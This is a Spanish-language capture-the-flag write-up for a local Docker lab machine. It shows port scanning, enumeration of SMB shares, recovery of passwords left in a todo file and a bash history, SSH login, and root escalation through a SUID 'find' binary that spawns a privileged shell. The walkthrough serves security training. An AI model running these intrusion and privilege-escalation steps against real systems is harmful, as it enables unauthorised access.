

Writeup

Maquina: Vías Ocultas

Sitio: <https://ctf.academia-ciberseguridad.com/machines>



Cyberdark
26 Abril 2025



Writeup - Maquina: Vias Ocultas

El Dia de hoy les compartiré la resolución de la maquina Vías Ocultas de **CyberConquer**

Link para descargar la Maquina

https://drive.google.com/file/d/1P7rnAG8DyhZUATdb8-D4Z7qR4baLBLWm/view?usp=drive_link

Una vez descargada la maquina ingresamos al directorio donde esta descargada la descomprimos y ejecutamos el siguiente comando `script.sh vias_ocultas_img.tar` El cual nos permite realizar el levantamiento de la maquina la cual está en Docker.



```
root@Pandora: /home/cyberdark/maquinas_ctf/vias_ocultas
Archivo Acciones Editar Vista Ayuda
+++++
|H|a|c|k|e|d| |b|y|
+++++
root@Pandora: /home/cyberdark/maquinas_ctf/vias_ocultas
root@Pandora: ~# cd /home/cyberdark/maquinas_ctf/vias_ocultas
root@Pandora: /home/cyberdark/maquinas_ctf/vias_ocultas# bash script.sh vias_ocultas_img.tar
```

Una vez hemos levantado la máquina, ten presente que no puedes cerrar la ventana pues esto haría que se cerrera la máquina, además no sale un prompt esperando que digitemos la bandera, que encontraremos en la máquina.

Writeup - Maquina: Vias Ocultas

[illegible]

Iniciamos con la fase de reconocimiento donde recopilamos informacion lo cual lo haremos desde Nmap, para saber que puertos están abiertos.

Esto implica usar un escaneo lento, evitar ping (host discovery), y técnicas como TCP SYN (-sS) que son menos ruidosas. (claro está que en entornos controlados lo hacemos más rápido, pues no importa si se levanta mucho ruido)

Writeup - Maquina: Vias Ocultas

```
(root@Pandora)-[/home/cyberdark]
# nmap -sS -Pn -p- --open -T5 --max-retries 0 --min-rate 10000 --scan-delay 0ms -v -oN scan_v1
as.txt 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 19:27 -05
Initiating ARP Ping Scan at 19:27
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 19:27, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:27
Scanning xXFBAQuXC3XAG (172.17.0.2) [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 139/tcp on 172.17.0.2
Discovered open port 445/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 19:27, 0.34s elapsed (65535 total ports)
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.0000020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

-T5: Eleva el perfil de velocidad al máximo. Ideal para laboratorios y redes controladas, pero úsalo con precaución en entornos de producción, ya que puede generar mucho tráfico.

--max-retries 0: Reduce los intentos de reenvío a cero para acelerar aún más el escaneo.

--min-rate 1000: Incrementa la tasa mínima de paquetes por segundo, haciendo el escaneo mucho más rápido.

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
```

Dado que solo los puertos **22 (SSH)** **80 (HTTP)** **139 (netbios-ssn)** **445 (microsoft-ds)** están abiertos, centrémonos en ellos:

Ya que sabemos que puertos están abiertos es hora de ponernos a la tarea de ver como ingresar por esos puertos.

Writeup - Maquina: Vias Ocultas

Ejecutamos un Nmap sobre ese puerto para ver que más información podemos recolectar.

```
nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_scan.txt
```

```
(root@Pandora)-[/home/cyberdark]
# nmap 172.17.0.2 -p22,80,139,445 -sCV -A -T5 -oN log_vias_ocultas_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 19:29 -05
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.00019s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 98:b7:ba:b0:c8:31:a0:1a:38:69:c1:68:fe:72:bd:6e (ECDSA)
|_  256 5d:dd:4b:ac:30:12:b1:42:39:52:66:83:91:11:f0:78 (ED25519)
80/tcp    open  http         nginx 1.22.1
|_ http-title: TechVision IT Services
|_ http-server-header: nginx/1.22.1
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2025-04-27T00:29:53
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT      ADDRESS
1   0.19 ms  xXFBAQuXC3XAG (172.17.0.2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.05 seconds
```

Enumeramos con dirb <http://172.17.0.2>

Writeup - Maquina: Vias Ocultas

```
(root@Pandora)-[/home/cyberdark]
# dirb http://172.17.0.2

_____
DIRB v2.22
By The Dark Raver

START_TIME: Sat Apr 26 19:33:50 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

_____

GENERATED WORDS: 4612

— Scanning URL: http://172.17.0.2/ —
+ http://172.17.0.2/index.html (CODE:200|SIZE:15105)

_____

END_TIME: Sat Apr 26 19:33:51 2025
DOWNLOADED: 4612 - FOUND: 1
```

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

```
(root@Pandora)-[/home/cyberdark]
# gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/index.html (Status: 200) [Size: 15105]
/index.html (Status: 200) [Size: 15105]
Progress: 18456 / 18460 (99.98%)

Finished
```

Como podemos observar solo encontramos el archivo index.html

Ahora vamos a lanzar el comando enum4linux -a 172.17.0.2 donde encontramos lo siguiente:

Writeup - Maquina: Vias Ocultas

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# enum4linux -a 172.17.0.2

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Apr 2
6 19:45:42 2025

===== ( Target Information ) =====

Target ..... 172.17.0.2
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 172.17.0.2 ) =====

[E] Can't find workgroup/domain

===== ( Nbtstat Information for 172.17.0.2 ) =====

Looking up status of 172.17.0.2
No reply from 172.17.0.2

===== ( Session Check on 172.17.0.2 ) =====

[+] Server 172.17.0.2 allows sessions using username '', password ''

===== ( Getting domain SID for 172.17.0.2 ) =====

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup
```

```
===== ( OS information on 172.17.0.2 ) =====

[E] Can't get OS info with smbclient

[+] Got OS info for 172.17.0.2 from srvinfo:
DEBIAN-SAMBA  Wk Sv PrQ Unx NT SNT Samba Server 4.17.12-Debian
platform_id   :      500
os version    :      6.1
server type   :      0x809a03

===== ( Users on 172.17.0.2 ) =====

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: charlie Name: Desc:
user:[charlie] rid:[0x3e8]

===== ( Share Enumeration on 172.17.0.2 ) =====

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

  Sharename      Type      Comment
  -----
  usuarios       Disk
  desarrollo     Disk
  IPC$           IPC       IPC Service (Samba Server 4.17.12-Debian)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_ST
ATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

Writeup - Maquina: Vias Ocultas

```
[+] Attempting to map shares on 172.17.0.2 ...
//172.17.0.2/usuarios Mapping: DENIED Listing: N/A Writing: N/A
//172.17.0.2/desarrollo Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_CONNECTION_REFUSED listing \*
//172.17.0.2/IPC$ Mapping: N/A Listing: N/A Writing: N/A

===== ( Password Policy Information for 172.17.0.2 ) =====

[+] Attaching to 172.17.0.2 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
    [+] DEBIAN-SAMBA
    [+] Builtin
[+] Password Info for Domain: DEBIAN-SAMBA
    [+] Minimum password length: 5
    [+] Password history length: None
    [+] Maximum password age: 37 days 6 hours 21 minutes
    [+] Password Complexity Flags: 000000
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
    [+] Minimum password age: None
    [+] Reset Account Lockout Counter: 30 minutes
    [+] Locked Account Duration: 30 minutes
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: 37 days 6 hours 21 minutes
```

```
[+] Retrieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5

===== ( Groups on 172.17.0.2 ) =====

[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:

===== ( Users on 172.17.0.2 via RID cycling (RIDS: 500-550,1000-1050) ) =====

[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
```


Writeup - Maquina: Vias Ocultas

```
[+] Enumerating users using SID S-1-5-21-1666676007-2784388775-2253917937 and logon username '', password ''
S-1-5-21-1666676007-2784388775-2253917937-501 DEBIAN-SAMBA\nobody (Local User)
S-1-5-21-1666676007-2784388775-2253917937-513 DEBIAN-SAMBA\None (Domain Group)
S-1-5-21-1666676007-2784388775-2253917937-1000 DEBIAN-SAMBA\charlie (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\charlie (Local User)
S-1-22-1-1001 Unix User\developer (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

===== ( Getting printer info for 172.17.0.2 ) =====
No printers returned.

enum4linux complete on Sat Apr 26 19:46:13 2025
```

Podemos observar 2 usuarios

Charlie, developer

Utilizamos varias posibles contraseñas, como root, admin, toor, pero no se consiguió acceso

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/index.html -U charlie
Password for [WORKGROUP\charlie]:
session setup failed: NT_STATUS_LOGON_FAILURE

(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/index.html -U charlie
Password for [WORKGROUP\charlie]:
session setup failed: NT_STATUS_LOGON_FAILURE

(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/index.html -U charlie
Password for [WORKGROUP\charlie]:
session setup failed: NT_STATUS_LOGON_FAILURE

(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/index.html -U charlie
Password for [WORKGROUP\charlie]:
session setup failed: NT_STATUS_LOGON_FAILURE
```

smbclient //172.17.0.2/desarrollo -N

se ingreso al directorio desarrollo

Writeup - Maquina: Vias Ocultas

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/desarrollo -N
put test.txt
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0  Wed Feb 26 16:05:56 2025
..               D            0  Wed Feb 26 15:45:43 2025
todo.txt         N          276  Wed Feb 26 16:05:56 2025

512872832 blocks of size 1024. 426341540 blocks available
```

Luego se descargo el archivo todo.txt en el equipo

get todo.txt

```
smb: \> get todo.txt
getting file \todo.txt of size 276 as todo.txt (22,5 KiloBytes/sec) (average 22,5 KiloBytes/sec)
smb: \> █
```

Posteriormente se abrió el archivo todo.txt

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# cat todo.txt

reiniciar servidor nginx - Listo
cambiar autenticacion de ssh a keys - Por hacer
cambiar contrasena por una mas segura - Por hacer Y2hhcmxpZTEyM3Bhc3M=
crear backup del servidor - Listo
eliminar el acceso a shares del servidor - Por hacer
```

Parece ser que se encontró una contraseña **Y2hhcmxpZTEyM3Bhc3M=**

Y analizando esta en base 64 lo hicimos en esta pagina

<https://www.base64decode.org/es/>

Decodifique a partir del formato Base64

Simplemente introduzca los datos y pulse el botón de decodificar.

Y2hhcmxpZTEyM3Bhc3M=

Para binarios codificados (como imágenes, documentos, etc.) utilice el formulario de carga de archivos que encontrará un poco más abajo en esta página.

UTF-8 Conjunto de caracteres de origen.

Decodifique cada línea por separado (útil cuando tiene varias entradas).

Modo en directo DESACTIVADO Decodifica en tiempo real mientras escribe o pega (sólo admite el juego de caracteres UTF-8).

< DECODIFICAR > Decodifica sus datos en la zona de abajo.

charlie123pass

Writeup - Maquina: Vias Ocultas

charlie123pass

esto quiere decir que poder acceder por el cliente samba con las credenciales de usuario: Charlie

contraseña:charlie123pass

smbclient //172.17.0.2/usuarios -U charlie%charlie123pass

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# smbclient //172.17.0.2/usuarios -U charlie%charlie123pass
Try "help" to get a list of possible commands.
smb: \> ls
.         Not Found/NT_STATUS_OBJECT_NAME_NOT_FOUND      D            0  Wed Feb 26 15:53:07 2025
..        Not Found/NT_STATUS_OBJECT_NAME_NOT_FOUND      D            0  Wed Feb 26 15:45:43 2025
charlie   D            0  Wed Feb 26 15:54:31 2025
developer D            0  Wed Feb 26 15:55:12 2025

/home/512872832 blocks of size 1024. 426334600 blocks available
```

Listamos directorios y buscamos algo que nos pueda servir

```
smb: \> ls charlie cyberdark/maquinas_ctf/vias_ocultas
charlie           D            0  Wed Feb 26 15:54:31 2025

/home/512872832 blocks of size 1024. 426335204 blocks available
smb: \> cd charlie cyberdark/maquinas_ctf/vias_ocultas
cd \cjcharlie\; NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> cd ..
smb: \> ls
.         /home/cyberdark/maquinas_ctf/vias_ocultas D            0  Wed Feb 26 15:53:07 2025
..        /home/cyberdark/maquinas_ctf/vias_ocultas D            0  Wed Feb 26 15:45:43 2025
charlie   NT_STATUS_OBJECT_NAME_NOT_FOUND          D            0  Wed Feb 26 15:54:31 2025
developer D            0  Wed Feb 26 15:55:12 2025

/home/512872832 blocks of size 1024. 426334744 blocks available
smb: \> cd developer
smb: \developer\> ls
.         D            0  Wed Feb 26 15:55:12 2025
..        D            0  Wed Feb 26 15:53:07 2025
.bash_logout      H            220 Wed Feb 26 15:55:12 2025
.bash_history      H            0  Wed Feb 26 15:54:53 2025
.profile           H            807  Wed Feb 26 15:55:02 2025
.bashrc            H            3526 Wed Feb 26 15:55:08 2025

/home/512872832 blocks of size 1024. 426334720 blocks available
smb: \developer\>
```

Encontramos el directorio developer, Charlie, en ambos directorios encontramos archivos de configuración, pero el .bash_history en el directorio charli, tiene un tamaño de 749 por esa razón nos llamo la atención lo descargamos y podemos observar lo siguiente:

Writeup - Maquina: Vias Ocultas

```
ls -la
whoami
pwd
cd ../../
su developer
echo fhuds9hfd768sgf9s90jf | su developer
cd /var/www/html
nano index.html
cat /etc/passwd
sudo apt update && sudo apt upgrade -y
whoami
ifconfig
ip a
ping -c 4 google.com
curl -I https://google.com
tar -xvf file.zip
grep "password" /var/log/auth.log
ps aux | grep ssh
netstat -tulnp
history | grep ssh
ssh user@192.168.1.10
scp file.txt user@192.168.1.10:/home/user/
chmod 700 script.sh
./script.sh
echo "alias ll='ls -la'" >> ~/.bashrc
source ~/.bashrc
df -h
du -sh *
find / -name "*.log" 2>/dev/null
crontab -l
crontab -e
echo "Hello World" > test.txt
cat test.txt
mv test.txt /tmp/
rm -rf /tmp/test.txt
ps aux | grep apache
systemctl status apache2
```

fhuds9hfd768sgf9s90jf

encontramos que al cambiar de usuario developer ingresaron como contraseña
fhuds9hfd768sgf9s90jf

por esta razón realizamos una conexión ssh para ver si funcionan esas credenciales
con el usuario developer

ssh [developer@172.17.0.2](#)

```
(root@Pandora)-[/home/cyberdark/maquinas_ctf/vias_ocultas]
# ssh developer@172.17.0.2
developer@172.17.0.2's password:
Linux 1657636b03d3 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
developer@1657636b03d3:~$ whoami
developer
developer@1657636b03d3:~$
```

Hemos conseguido acceso como el usuario developer

Hacemos un ls para listar directorios

```
developer@1657636b03d3:~$ ls -la
.  .. .bash_history .bash_logout .bashrc .profile user.txt
developer@1657636b03d3:~$ cat user.txt
d418a14a7fc5239d51730d3c7c30c2d0
developer@1657636b03d3:~$
```

Writeup - Maquina: Vias Ocultas

d418a14a7fc5239d51730d3c7c30c2d0

Encontramos la flag de user

```
Ingresa la bandera de usuario: ✓ ¡Flag correcta! Buen trabajo.
```

utilizamos algunos comandos pero no tenemos permisos de root

luego corremos `find / -perm /4000 2>/dev/null` para saber que binarios tienen permisos

```
developer@1657636b03d3:~$ find / -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/find
/usr/bin/chfn
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/sudo
```

Luego tratamos de aprovecharnos de alguno de ellos para poder conseguir el root, en este caso vamos a utilizar el find

`/usr/bin/find . -exec /bin/bash -p \; -quit`

```
developer@1657636b03d3:~$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.2# id
uid=1001(developer) gid=1001(developer) euid=0(root) groups=1001(developer)
```

```
bash-5.2# whoami
root
```

Luego le hacemos un cat a donde probablemente debe estar el archivo root, que es en la ruta `/root/root.txt` como en la mayoría de ctf y perfecto hemos conseguido la flag de root.

```
bash-5.2# cat /root/root.txt
c75fef75f1b5be3633340b8ee6c0da7
```

```
Ingresa la bandera de usuario: ✓ ¡Flag correcta! Buen trabajo.
Ingresa la bandera de root: 🏆 ¡Root obtenido, Máquina dominada!
```

En esta maquina si bien es de complejidad avanzada, siento que ha dado un reto, digno, super recomendada, animo muchachos, todo se consigue con perseverancia y disciplina. ¡No se desanimen!

Writeup - Maquina: Vias Ocultas

Recuerden que no se trata solo de buscar en internet copiar y pegar, se trata de tener unas bases solidas para cuando se encuentren los retos, podamos resolverlos, los animo a realizar cursos gratis y si tienen recursos, también de pago, esto les reforzara mucho el aprendizaje, además claro esta de plataformas para entrenamiento de ctf.

Recuerden, "Quien estudia, se arma con el poder de cambiar su destino."

Happy Hacking!!!

<https://github.com/Cyberdark-Security/>